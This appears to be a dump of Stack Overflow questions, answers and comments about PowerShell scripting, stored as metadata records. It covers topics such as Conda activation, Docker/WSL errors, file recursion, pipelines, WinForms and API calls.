has body: The issue with PowerShell 7.5+ breaking Conda due to .NET 9 environment variable changes has been officially fixed in Conda 25.1.1. What Happened? Previous Issue: PowerShell 7.5+ changed how empty environment variables (_CE_M, _CE_CONDA) are handled, breaking Invoke-Conda. Fix: Conda 25.1.1 now properly unsets these variables internally, so no manual fix is needed. Solution: Update Conda If you’re still experiencing this issue, update Conda to 25.1.1+ with: conda activate base conda install -n base -c defaults conda=25.1.1 Clean Up Old Workarounds If you previously modified $PROFILE to manually set $Env:_CE_M = $null, remove it: Open your PowerShell profile: notepad $PROFILE Delete or comment out any block modifying _CE_M and _CE_CONDA. Restart PowerShell and verify Conda works without the workaround: conda --version conda activate my_env Final Confirmation If conda --version shows 25.1.1+, and conda activate works without issues, the problem is fully resolved. Related GitHub Issues PowerShell Issue #24869 Conda Issue #14292
has comment: http://stackoverflow.com/comment/140156360

http://stackoverflow.com/comment/140010716
score: 0
comment on: http://stackoverflow.com/q/79391481
has text: Don't use pipeline variable interpolation in scripts, it's a mess to read and maintain. Map the variables into environment variables in an `env` block, then refer to them as `$env:ENV_VAR_NAME`.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139939158
type: QuestionComment
has text: in my understanding, it's just the same with conflict marker. The term is what `git diff --check` says
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79354709

http://stackoverflow.com/a/79390393
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79389666
has comment: http://stackoverflow.com/comment/140010243
accepted answer of: http://stackoverflow.com/q/79389666
type: AcceptedAnswer
type: Answer
has body: For filenames, neo4j-admin accepts regular expressions, not globbing. See the docs here. For your case, that would be: .\bin\neo4j-admin.ps1 database import full --overwrite-destination neo4j --nodes="import\node1.txt" --nodes="import\node2.txt" --relationships="import/edge.*txt" --delimiter "\t"
downvote count: 0

http://stackoverflow.com/a/79292363
type: AcceptedAnswer
type: Answer
has body: The problem is that calling cmd.exe's CLI via the /C parameter doesn't support passing multiline code - everything after the first line is quietly ignored. If you want to keep your multiline source-code definition for readability / maintainability, you can programmatically transform it to a single line before use. That is, place the following statement before your try statement: # Transform the multiline source code to a single-line form. $cmd = $cmd -replace '\^\r?\n' The above uses the regex-based -replace operator to remove all line continuations from your multiline source code: That is, each occurrence of ^ (escaped as \^, so that it isn't interpreted as a regex metacharacter), if followed by a newline (\r?\n, which matches both Windows-format CRLF newlines and Unix-format LF-only ones), is replaced with the empty string (given that no substitution text was passed as the second operand), i.e. effectively removed. Note that the assumption is that all lines except the last in the multiline source-code string use a line continuation (i.e. a ^ at the end of the line); in other words: the source code is expected to represent a single command that is spread across multiple lines for readability.
score: 0
answers question: http://stackoverflow.com/q/79292138
accepted answer of: http://stackoverflow.com/q/79292138

http://stackoverflow.com/q/79345362
tagged with: docker
type: Question
answer count: 0
downvote count: 0
tagged with: powershell
upvote count: 1
type: UnansweredQuestion
score: 1
favorite count: 0
tagged with: windows-subsystem-for-linux
has title: Why does the docker command fail in PowerShell, but not Visual Studio Developer Command Prompt?
has body: Summary When I run the docker command in PowerShell, it returns the following error: There is no distribution with the supplied name. Error code: Wsl/Service/WSL_E_DISTRO_NOT_FOUND If I run the same command in Visual Studio Developer Command Prompt, it successfully lists the usage info. I've tried the same on a similar computer and the command works successfully in both PowerShell and Command Prompt. Why would there be a difference in behaviour and how can it be resolved? Environment details Docker Desktop is installed on both machines, using WSL2, and running without errors Both machines have: Docker Desktop v4.37.1 (178610) Docker Engine v27.4.0 The machine where it fails has: Windows 10 v22H2 (19045.5247) PowerShell v5.1.19041.5247 While the machine where it succeeds has: Windows 10 v22H2 (19045.5131) PowerShell v5.1.19041.5129 On both machines, the following services are running: Hyper-V Host Compute Service Hyper-V Virtual Machine Management WSL Service Executing Get-Command docker | ForEach-Object Path in PowerShell on both machines results in: C:\Program Files\Docker\Docker\resources\bin\docker.exe C:\Program Files\Docker\Docker\resources\bin\docker Executing wsl -l -v on both machines results in: | Name | State | Version | | ---- | ----- | ------- | | * docker-desktop | Running | 2 | What I've Tried I've tried reinstalling Docker Desktop I've followed the steps on https://www.reddit.com/r/docker/comments/1ft6u6f/comment/lpr9wu2/ I've executed com.docker.diagnose.exe check on the problem machine. Initially the following failures were reported: [FAIL] DD0018: does the host support virtualization? prereq failed: does the bootloader have virtualization enabled? [FAIL] DD0001: is the application running? prereq failed: does the host support virtualization? [FAIL] DD0017: can a VM be started? prereq failed: does the host support virtualization? [FAIL] DD0016: is the LinuxKit VM running? prereq failed: is the application running? [FAIL] DD0004: is the Docker engine…

http://stackoverflow.com/comment/140035180
type: Comment
has text: I haven't seen this work when the function is not in the running script.
comment on: http://stackoverflow.com/a/79401260
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139814393
type: AnswerComment
comment on: http://stackoverflow.com/a/79281580
has text: have you tried `Set-AzVMRunCommand -ResourceGroupName "wb-vm-test-rg" -VMName "wb-vm" -Location "EastUS" -RunCommandName "RunCommandName4" -SourceScript 'winget --version' -RunAsUser myusername -RunAsPassword mypassword` to specify the runcommand user ?
type: Comment
score: 0

terminate
type: Tag
tag name: terminate
tags question: http://stackoverflow.com/q/79248095

http://stackoverflow.com/comment/139762030
comment on: http://stackoverflow.com/a/79257887
score: 0
type: AnswerComment
has text: Exception calling "ShowDialog" with "0" argument(s): "Cannot access a disposed object. Object name: 'Form'." At line:145 char:1 + $printerForm.ShowDialog() + ~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ObjectDisposedException Selected Printer: OK
type: Comment

http://stackoverflow.com/q/79347170
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/79347198
tagged with: recursion
has answer: http://stackoverflow.com/a/79347888
has body: Given a folder structure like this: C:\rootFolder\D C:\rootFolder\D\D C:\rootFolder\D\E C:\rootFolder\E C:\rootFolder\E\D C:\rootFolder\E\E C:\rootFolder\F C:\rootFolder\F\D C:\rootFolder\F\E And a List of subfolders to exclude in C:\rootFolder like this: $excludeFolders = "C:\rootFolder\D", "C:\rootFolder\E" I need to recursively get all the files in C:\rootFolder and its subfolders, excluding any files in $excludeFolders and their subfolders. I can't hard code $excludeFolders because they're being loaded from a text file. I've been able to do it with the following: # 1. Get the files in the root Folder Get-ChildItem -Path $rootFolder -File | Select-Object FullName # 2. Get all the directories in the root folder Get-ChildItem -Path $rootFolder -Directory | ForEach-Object { # Exclude those folders that are in the excludeFolders list if (-not ($excludeFolders -contains $_.FullName)) { #Process files in folders not in the excludeFolders list Get-ChildItem -Path $_.FullName -File -Recurse | Select-Object FullName } } But this 2-step approach is cumbersome and I'd prefer to do it in a single step. I've searched here and found something close using -Exclude, but that also eliminates the subfolders C:\rootFolder\F\D C:\rootFolder\F\E Any help will be greatly appreciated.
tagged with: powershell
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
answer count: 2
has title: Using Powershell on Win 11, I need to get all the files in a root folder, excluding all files in a list of root-folder subfolders
tagged with: get-childitem

http://stackoverflow.com/a/79262486
type: Answer
answers question: http://stackoverflow.com/q/79262451
upvote count: 5
accepted answer of: http://stackoverflow.com/q/79262451
score: 5
downvote count: 0
has body: Start from the base that Write-Output (Get-Process) is the same as storing the output from Get-Process in a variable and passing it as argument to Write-Output. When you use (...) the expression must be evaluated first, before the subsequent command receives that output, this can mean for example higher memory consumption. # can be considered the same as `Write-Output (Get-Process)` $tmp = Get-Process Write-Output $tmp $tmp = $null With the pipeline instead what you have is One-at-a-time processing, the subsequent command receives and processes one item at a time as soon as the preceding in pipeline starts outputting. This comparison between (...) and pipelines is very easy to see if you add a bit of delay between each object outputted: function Test-ProcessingFunction { param( [Parameter(ValueFromPipeline)] [int[]] $int ) process { foreach ($i in $int) { "Processing $i" } } } $rangeDelayed = { 0..10 | ForEach-Object { Start-Sleep -Milliseconds 200; $_ } } # nothing happens until `$rangeDelayed` finishes Test-ProcessingFunction (& $rangeDelayed) # as soon as `$rangeDelayed` outputs, it gets processed & $rangeDelayed | Test-ProcessingFunction
type: AcceptedAnswer

http://stackoverflow.com/comment/139740419
type: Comment
comment on: http://stackoverflow.com/a/79245869
has text: _"...you should be able to perform graceful termination...however - and this appears to be a bug - ...this does not work."_ I have opened [github #24631](https://github.com/PowerShell/PowerShell/issues/24631) accordingly.
score: 1
type: AnswerComment

http://stackoverflow.com/a/79396850
score: 0
has comment: http://stackoverflow.com/comment/140092107
answers question: http://stackoverflow.com/q/79394411
has comment: http://stackoverflow.com/comment/140059599
type: Answer
has body: Since there is not too much going on inside the event scriptblock, you don't need to define it in a variable first, but can enter the code straight away like below: # *** Validate input on exit from textbox *** $tb1.Add_Leave({ # inside the event scriptblock, you can refer to the actual # control object using the $this automatic variable. # allow only positive integers remove all non-numeric characters $num = ($this.Text -replace '\D+') -as [int] # if the number is within a certain range if ($num -ge 0 -and $num -le 365) { # overwrite the value in the textbox with the cleaned-up integer value $this.Text = $num $script:ans1 = $num # also reset your script variable to whatever number is entered } else { # display your error dialog here. Use script scope, otherwise # inside the scriptblock $q2 and $ok2 are just new local variables $f2.Controls.AddRange($script:q2, $script:ok2) $f1.Topmost = $false $f2.Topmost = $true [void]$f2.ShowDialog() } })

http://stackoverflow.com/comment/139852199
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
has text: @VerityFreedom, there is no such thing as _utf8NoBom Cyrillic_; by definition, UTF-8 is a Unicode encoding, i.e. a _global_ alphabet, so to speak, that isn't specific to any one culture / language, and encompasses them all. Also note that Windows PowerShell _misinterprets_ BOM-less UTF-8 files by default, so if you want to inspect the resulting file, use `Get-Content -Encoding utf8`. It is for this reason that running the code _repeatedly_ corrupts the file. Are you really looking for BOM-less UTF-8 or are you looking for an encoding based on an _ANSI_ code page such as Windows-1251?
type: Comment

http://stackoverflow.com/comment/139973126
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79366437
type: Comment
has text: @Sheldz, if the updated solution still doesn't work for you, please provide feedback.

http://stackoverflow.com/comment/140092107
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79396850
has text: Thanks, Theo. It helped me progress, but I did not go with your full suggestion. My code is getting rather big and complex now, so have other problems to resolve.
type: Comment

http://stackoverflow.com/q/79247316
type: Question
has title: How can I delete multiple lists in different SPO sites?
has comment: http://stackoverflow.com/comment/139743120
has comment: http://stackoverflow.com/comment/139742709
has body: I'm trying to find a way to delete multiple lists created on different SPO sites for a task. I've got the list names and the sites in a csv file. Is there a way to import the csv file, action upon the sites and their lists one by one using PowerShell? These are empty lists so the requirement to delete the items isn't there.
tagged with: powershell
answer count: 1
has answer: http://stackoverflow.com/a/79247414
has comment: http://stackoverflow.com/comment/139742898
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139743103
tagged with: sharepoint-online
score: 0

http://stackoverflow.com/comment/139774028
comment on: http://stackoverflow.com/a/79264357
score: 1
has text: Lucky me emptying `settings.json` has no effect on this particular issue. Running VS Code with `--disable-extensions` leads to opening no terminal at all when opening a PowerShell script - maybe because this is handled by the PowerShell extension?
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140012647
score: 2
type: Comment
has text: Why use `Invoke-Expression` and not the `&` call operator?
comment on: http://stackoverflow.com/a/79393790
type: AnswerComment

http://stackoverflow.com/q/79414364
tagged with: powershell
type: UnansweredQuestion
tagged with: hyper-v
score: 0
has body: I'm looking for a way to be able to create a VHD via PowerShell. It seems that the best approach is to create the VHD with the New-VHD command. Unfortunately, I am unable to load the module to access the New-VHD command. I have copied the file “C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Hyper-V\2.0.0.0\Hyper-V.psd1” for this purpose and put it at the path mentioned above. When loading the module, I do not receive an error when I execute this via the following command: Import-PowerShellDataFile “C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Hyper-V\2.0.0.0\Hyper-V.psd1” I can access the command New-VHD via autocomplete after loading, but I get the error when executing: The command “New-VHD” was found in the module “Hyper-V”, but the module could not be loaded. If you would like more information, run “Import-Module Hyper-V”. If I now run Import-Module Hyper-V” I get the following error: Import-Module : The module to be processed listed in the module manifest “C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Hyper-V\Hyper-V.psd1” in the “NestedModules” field “Microsoft.HyperV.PowerShell.Cmdlets.dll” was not processed because no valid module was found in any module directory. In line:1 Character:1 I tried to manually move the file “Microsoft.HyperV.PowerShell.Cmdlets.dll” to the Hyper-V modules folder, but this did not solve the problem. Does anyone have an idea how I can access the Command New-VHD without activating the feature for this? Alternatively, does anyone have an idea how I can best create and mount a VHD via PowerShell? Thank you in advance. Used the commands above to manually import the psd1 to be able to access the command New-VHD
type: Question
has title: PowerShell 7 - New-VHD without Hyper-V PowerShell Feature enabled
answer count: 0

http://stackoverflow.com/comment/139798041
comment on: http://stackoverflow.com/a/79272658
type: Comment
score: 0
has text: np glad it helped @Beckyboo
type: AnswerComment

http://stackoverflow.com/comment/139783055
comment on: http://stackoverflow.com/a/79266755
score: 0
type: AnswerComment
has text: Thank you. Your answer looks accurate to me. My only quibble is with the wording of "The atomicity of an assignment...is guaranteed...". Consider [this comment](https://github.com/PowerShell/PowerShell/issues/7155#issuecomment-400505479) which suggests to me the atomicity we are observing may well be a side-effect of performance considerations as opposed to intended behavior. The assignments you go on to describe indeed seem to be reliably atomic in this version of PowerShell. However, I'm afraid that behavior is currently far from guaranteed.
type: Comment

http://stackoverflow.com/comment/139811279
has text: I don't have any experiences with the Azure CLI but I'd expect it to return text instead of objects like the PowerShell does. So you cannot use the dot notation `$_.AccountEnabled`. I'd recommend using the proper according PowerShell cmdlet instead of `az ad sp list`. ... something like `Get-AzADServicePrincipal` might bring you a step further.
comment on: http://stackoverflow.com/q/79285339
type: QuestionComment
type: Comment
score: 3

http://stackoverflow.com/comment/139835252
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79296217
has text: @iRon I updated the question with an explanation of why I'm using `PSObject.Copy()`. As noted, there may be better ways to solve the issue, but this is what precipitated the conditions that led to this question.

http://stackoverflow.com/a/79278092
type: Answer
answers question: http://stackoverflow.com/q/79277794
has comment: http://stackoverflow.com/comment/139799171
score: 0
has comment: http://stackoverflow.com/comment/139798456
has body: EDIT 2 the to field MUST be a collection, even if it's a single-item collection. I was writing it as a JSON collection by error. I have now fiexd the code and made a free smtp2go account to actually test it. Using my credentials, it works on both powershell 5.1 and 7.4 EDIT!!! ...I made a lil' bit typing error in the Invoke-WebRequest command. (used @$InvokeSplat instead of @InvokeSplat) I fixed it but if uncatched that could have cause errors. The problem is with the Body value. You are using ' for it, which makes it a LITERAL string. Thus $pass gets saved as liteal word and not a reference to the variable. tl;dr: $Pass= 'MUH PASSWORD' '$Pass' # prints $Pass "$Pass" # prints MUH PASSWORD Also, you can Splat more. Try this: $HeadersHash = @{ 'accept' = 'application/json' 'Content-Type' = 'application/json' 'X-Smtp2go-Api-Key' = $apiKey } $ToAddressArray = @( 'me@mydomain.co.uk' ) $Body = @{ 'sender' = 'merakiapi@mydomain.co.uk' 'to' = $ToAddressArray 'subject' = 'Password for Guest WiFi' 'html_body' = "The new password is $pass" } | ConvertTo-Json -Depth 100 -Compress $InvokeSplat = @{ Uri = 'https://api.smtp2go.com/v3/email/send' Method = [Microsoft.PowerShell.Commands.WebRequestMethod]::Post Headers = $HeadersHash ContentType = 'application/json' Body = $Body } $Request = Invoke-WebRequest @InvokeSplat

http://stackoverflow.com/comment/139775407
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0
has text: _"...not really unless it was designed by a careless developer."_ Why couldn't the constructor thread be preempted during construction and the job be stopped before the constructor resumes?

http://stackoverflow.com/comment/139769692
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79262451
has text: Fyi: sometime ago I have written an article about [Mastering the (steppable) pipeline](https://devblogs.microsoft.com/powershell-community/mastering-the-steppable-pipeline/) with includes some additional background on your question and some examples to show the implication "one-at-a-time processing" concept.
type: QuestionComment

http://stackoverflow.com/a/79281580
answers question: http://stackoverflow.com/q/79280712
has body: I believe I have found the problem. When I call a script in Invoke-AzVmRunCommand, it is automatically executed in the system context with the System user. However, in the system context, you cannot run winget by default because it is an MSIX package. There are some workarounds available, but they are quite cumbersome and none of them have worked so far.I think I’ll close the ticket.
downvote count: 0
has comment: http://stackoverflow.com/comment/139814393
type: Answer
upvote count: 3
score: 3

http://stackoverflow.com/q/79274677
tagged with: selenium-webdriver
tagged with: docker
type: Question
answer count: 0
tagged with: powershell
tagged with: powershell-7.3
score: 0
has title: Selenium Module Not Working in PowerShell Universal Docker Linux Image
type: UnansweredQuestion
has body: I am running a Docker-based PowerShell Universal (PSU) environment on a Linux image and trying to automate tasks using the Selenium module. Despite successfully installing the module, I am facing several issues when creating Selenium objects such as ChromeOptions or starting browsers like Chrome and Firefox. Environment Details: OS: Linux (Docker container) PowerShell Version: 7.3.9 Selenium Module Version: 3.0.1 (Installed from PSGallery) What I Did: Installed Selenium Module: Install-Module -Name Selenium -Force Import-Module Selenium Get-InstalledModule -Name Selenium Result: Successfully installed and imported the module. Verified WebDriver Binaries: which chromedriver which google-chrome which firefox which geckodriver Result: All binaries are located in /usr/bin/ and are executable. Set Up Xvfb (Headless Server): Xvfb :99 -screen 0 1920x1080x24 & export DISPLAY=:99 Error: Fatal server error: Server is already active for display 99. Fix Attempt: Removed the lock file and retried: rm -f /tmp/.X99-lock Xvfb :99 -screen 0 1920x1080x24 & export DISPLAY=:99 Result: Process started without errors after removing the lock file. Attempted to Create Chrome Options in PowerShell: $ChromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions $ChromeOptions.AddArgument("--headless") $ChromeOptions.AddArgument("--no-sandbox") $ChromeOptions.AddArgument("--disable-dev-shm-usage") $ChromeOptions.AddArgument("--disable-gpu") Error: New-Object: Cannot find type [OpenQA.Selenium.Chrome.ChromeOptions]: verify that the assembly containing this type is loaded. Attempted to Start Chrome in Headless Mode: $Driver = Start-SeChrome -ChromeOptions $ChromeOptions Error: Start-SeChrome: A parameter cannot be found that matches parameter name 'ChromeOptions'. Tried Manually Loading DLLs: Add-Type -Path "/root/Selenium/Selenium/WebDriver.dll" Add-Type -Path "/root/Selenium/Selenium/WebDriver.Support.dll" Error: Add-Type: Cannot bind parameter 'Path' to the target. Exception setting 'Path'…
tagged with: linux

http://stackoverflow.com/comment/139845459
has text: I can't believe it, but that worked. Thank you so much @js2010. If you put that as answer I'll vote it up.
comment on: http://stackoverflow.com/q/79304087
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139871136
type: QuestionComment
type: Comment
has text: Just to point out a _general_ pitfall when using `Start-Process -Credential` (it doesn't seem to be the cause of the problem in your case): By default, the _caller's_ working dir. is also used by the target process, which can _fail_, namely if the target user doesn't have permission to access that directory (a problem that the obsolescent ISE may mask). The solution is to use the `-WorkingDirectory` parameter with a directory path that the target user _is_ permitted to use, e.g. ``C:\``
score: 1
comment on: http://stackoverflow.com/q/79318657

http://stackoverflow.com/comment/140001040
has text: Looking at what you have right now it seems `BuildBinaries` and `SetPermissions` are pointless parameters. Your default action can be to Build and if OwnerName is bound then you know it will be Build + Set
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79387608
score: 1

http://stackoverflow.com/comment/139813850
type: AnswerComment
comment on: http://stackoverflow.com/a/79279479
type: Comment
has text: @Subzero123, please see my update.
score: 0

http://stackoverflow.com/comment/139814346
score: 1
comment on: http://stackoverflow.com/q/79285339
type: QuestionComment
type: Comment
has text: More generally, the output from any ```az``` command can be piped into ```convertfrom-json``` to return structured in-memory objects that can be further processed - in your case ```$spns = az ad sp list | convertfrom-json | where-object { $_.accountEnabled }```

http://stackoverflow.com/comment/139852502
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
has text: @AmigoJack, that's no excuse for leaving unhelpful comments behind, and no excuse for lack of accountability. Your imagining of a pure `cmd.exe` solution has nothing to do with the question, as evidenced by both the original question and the OP's responses since.
type: AnswerComment

http://stackoverflow.com/comment/139789529
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79270136
type: Comment
has text: Yep, including a value for `ReceivedTime` and `LastModificationTime`. This is from the same code I used to export certain attachments given a time range, which worked great. At the time, I didn't care about the sender or the recipients.

http://stackoverflow.com/a/79398658
has comment: http://stackoverflow.com/comment/140029769
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/140032656
answers question: http://stackoverflow.com/q/79397722
has body: As stated in comments, it would be a big chunk of P/Invoke code, hopefully this help you giving you a start. The current implementation will list all open handles in your system using NtQuerySystemInformation function. You can later use PowerShell to filter by the UniqueProcessId property of these objects. However, note this implementation provides limited information, see the SystemHandle class in the code. To get the handle TypeName the implementation uses NtQueryObject function, however from here gets more complex as you need handle each type differently and call different Win APIs. For example, for File handles, you would use GetFileInformationByHandleEx function and so on. Usage Put the code below in a file, call it whatever you want (in this example HandleStuff.cs), and then you can do: $code = Get-Content .\HandleStuff.cs -Raw Add-Type $code -IgnoreWarnings -WA 0 [HandleStuff.Native]::GetSystemHandles() You can also inline the code in the same PowerShell file if you want, or, in PowerShell 5.1 you can use Add-Type ... -OutputAssembly <path> if you want to have a compiled version in a .dll to faster loading. Code using System; using System.Collections.Generic; using System.ComponentModel; using System.Runtime.InteropServices; namespace HandleStuff { public class SystemHandle { private readonly SYSTEM_HANDLE _handle; private readonly string _type; public string TypeName { get { return _type; } } public IntPtr Object { get { return _handle.Object; } } public IntPtr UniqueProcessId { get { return _handle.UniqueProcessId; } } public IntPtr HandleValue { get { return _handle.HandleValue; } } public uint GrantedAccess { get { return _handle.GrantedAccess; } } public ushort ObjectTypeIndex { get { return _handle.ObjectTypeIndex; } } public uint HandleAttributes { get { return _handle.HandleAttributes; } } internal SystemHandle(string type, SYSTEM_HANDLE handle) { _type = type; _handle = handle; } } internal enum OBJECT_INFORMATION_CLASS { ObjectTypeInformation = 2 } …
score: 1
upvote count: 1

http://stackoverflow.com/a/79280496
downvote count: 0
type: Answer
has body: As commented, you need to test if any of the servers in the list is reachable before trying to output something. I would also suggest you output objects instead of plain text to make it easier to format on screen and also easy enough to export the data to a CSV file Try: $result = Get-Content -Path "\\File Path\Server Restarts\Server List.txt" | ForEach-Object { # create an object to output $out = $_ | Select-Object @{Name = 'Server'; Expression ={$_}}, Status, LastBootUpTime if (Test-Connection -ComputerName $_ -Count 1 -Quiet) { $out.Status = 'OK' $out.LastBootUpTime = (Get-CimInstance Win32_OperatingSystem -ComputerName $_).LastBootUpTime } else { $out.Status = 'OffLine' } $out } $result | Format-Table -AutoSize # and/or if you want, output to a CSV file you can double-click to open in Excel $result | Export-Csv -Path 'C:\SomePath\ServerLastBootUpTimes.csv' -NoTypeInformation -UseCulture Or do $result = Get-Content -Path "\\File Path\Server Restarts\Server List.txt" | ForEach-Object { # create an object to output $out = $_ | Select-Object @{Name = 'Server'; Expression ={$_}}, Status, LastBootUpTime $server = Get-CimInstance Win32_OperatingSystem -ComputerName $_ -ErrorAction SilentlyContinue if ($server) { $out.Status = 'OK' $out.LastBootUpTime = $server.LastBootUpTime } else { $out.Status = 'OffLine' } $out } $result | Format-Table -AutoSize # and/or if you want, output to a CSV file you can double-click to open in Excel $result | Export-Csv -Path 'C:\SomePath\ServerLastBootUpTimes.csv' -NoTypeInformation -UseCulture
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79276834

http://stackoverflow.com/comment/139991087
has text: For reference, the created issue: https://github.com/PowerShell/PowerShell/issues/24837
comment on: http://stackoverflow.com/a/79376203
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/139789806
has text: not sure what code you're using. can't reproduce https://i.imgur.com/pqC7Ykf.png @alx9r
type: Comment
comment on: http://stackoverflow.com/a/79262856
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139995935
score: 1
has text: It looks like `$pods` contains output from `Select-String` - `"$onepod".split('-')` would make it work
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79384352

http://stackoverflow.com/comment/139798914
has text: See also the "Substitutions in Regular Expressions." under "about_Comparison_Operators (#replacement-operator)" in -replace's case.
type: Comment
comment on: http://stackoverflow.com/a/79278189
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139947278
score: 0
has text: @RookieMistake glad it helped. have a look at my edit (in a sec) i'll add a link that will be useful when writing ldap queries
type: AnswerComment
comment on: http://stackoverflow.com/a/79359059
type: Comment

http://stackoverflow.com/comment/139901315
has text: Strange... What happens when you do this in two steps: `$Results = Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime`; `$Results | Sort LastLogonTime -Descending` ?
type: QuestionComment
comment on: http://stackoverflow.com/q/79334607
type: Comment
score: 0

http://stackoverflow.com/comment/140024527
score: 0
has text: It's not specific to scriptblocks, it's simple causality. If you want to eat a sandwich you first have to make or buy it. You can't eat a sandwich from the future
comment on: http://stackoverflow.com/q/79394411
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79372783
answers question: http://stackoverflow.com/q/79372408
has comment: http://stackoverflow.com/comment/139973414
type: Answer
has body: (e.g. Get-MailboxFolder) ? Get-MailboxFolder is an Exo cmdlet so its not using EWS it use it own delegate administrative permissions, the exo cmdlets can't be used for enumerating email.EWS RBAC Application impersonation is also being retired https://techcommunity.microsoft.com/blog/exchange/retirement-of-rbac-application-impersonation-in-exchange-online/4062671 in EWS starting next month you need to use https://learn.microsoft.com/en-us/exchange/permissions-exo/application-rbac#application-roles Using impersonation in EWS is pretty easy once you have authenticated but it really depends on the code your using as what you have to do eg in the EWS Managed API its just one property that need to be set on the ExchangeService object. $service.ImpersonatedUserId = new-object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, $MailboxName) Full sample in https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-authenticate-an-ews-application-by-using-oauth EWS is being depreciated in Exchange Online if this is for a long term application then your better of trying to use the Graph API.
score: 0
has comment: http://stackoverflow.com/comment/139979741

http://stackoverflow.com/comment/140021378
type: QuestionComment
has text: @SergeyAKryukov, the OP states that the size reduction is to be achieved "by removing irrelevant information", not by changing the character encoding. The emphasis of my comment was on _BOM-less_ UTF-8, which Windows PowerShell misinterprets.
type: Comment
comment on: http://stackoverflow.com/q/79381754
score: 0

http://stackoverflow.com/comment/140014176
has text: You need to define the scriptblock and assign it to the variable _before_ registering it as an event handler - right now you're just registering `$null`
comment on: http://stackoverflow.com/q/79394411
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/140013851
type: AnswerComment
has text: @user66001 if the script is stored in a file then `.MyCommand.Definition` will resolve into the file path instead of giving you the content of the invocation. And, using `-File` is recommended since it will also allow you to pass-in arguments to your script much easily. Just a recommendation, you're free to take it or not.
type: Comment
comment on: http://stackoverflow.com/a/79394307
score: 0

http://stackoverflow.com/comment/139788845
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79273085
score: 1
has text: As an aside: `"E:\TEMP\folder\"` is technically a malformed argument, because the ``\"`` sequence at the end is considered an _escaped_ `"` by the target program rather than closing the string literal - both `cmd.exe` and _Windows PowerShell_ pass this argument on verbatim, whereas [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) now fortunately performs the required escaping behind the scenes (`"E:\TEMP\folder\\"`)

http://stackoverflow.com/q/79350174
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79350528
has body: I have this code in Powershell: for (($i = 0), ($j = 0); $i -lt 10; ($i++)) { $i $j $a2[0+4] } How can I make the variable $a2 get +4 every time? Now it happens only once, the variable $a2 contains the text Above is the code I tried UPD1: $a2 contains: id1 title1 Description1 Rew1 id2 title2 Description2 Rew2 id3 title3 Description3 Rew3 id4 title4 Description4 Rew4 id5 title5 Description5 Rew5 .... I am trying to process all the data from $a2 in +4 increments $a2[0+4] $a2[1+4] $a2[2+4] $a2[3+4] UPD2: I really don't need the variables $i and $j, I'm just trying to create a loop and found a suitable method on the internet When I use for (($i = 0), ($j = 0); $i -lt 10; ($i++)) { $a2[4] $a2[5] $a2[6] $a2[7] } I get 10 times the data: id2 title2 Description2 Rew2 I'd like to get one for the first time: id2 title2 Description2 Rew2 For the second time: id3 title3 Description3 Rew3 Third time: id4 title4 Description4 Rew4 Fourth time: id5 title5 Description5 Rew5 Fifth time: id6 title6 Description6 Rew6 Sixth time: id7 title7 Description7 Rew7 The seventh time: id8 title8 Description8 Rew8 Eighth time: id9 title9 Description9 Rew9 Ninth time: id10 title10 Description10 Rew10 Tenth time: id11 title11 Description11 Rew11
has answer: http://stackoverflow.com/a/79350187
linked to: http://stackoverflow.com/q/62488043
type: Question
has title: How to make Powershell add a number several times?
downvote count: 0
has answer: http://stackoverflow.com/a/79350193
answer count: 3
linked to: http://stackoverflow.com/q/59259674
tagged with: powershell

http://stackoverflow.com/comment/139810509
type: Comment
comment on: http://stackoverflow.com/q/79284932
score: 0
has text: Thanks for clarification @MathiasR.Jessen How would I then pass on the type=cis parameter? I can't include -InFile and -Body in the same call?
type: QuestionComment

http://stackoverflow.com/comment/139866662
type: QuestionComment
has text: In short: _Windows PowerShell_ and _PowerShell (Core) 7_ up to v7.3.x only ever communicated via _text_ with external programs in their _object_-based pipeline. External-program output was always decoded into .NET strings, line by line. Therefore, in these versions you can _not_ use the PowerShell pipeline (notably via `|` and `>`) when _raw byte data_ must be sent to / received from external programs - it will get corrupted. As a workaround, pass command lines to `cmd.exe /c` or `sh -c` that make use of _their_ `|` and `>` operators. See the linked duplicate for more information.
type: Comment
comment on: http://stackoverflow.com/q/79316429
score: 1

http://stackoverflow.com/comment/140024144
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79399193
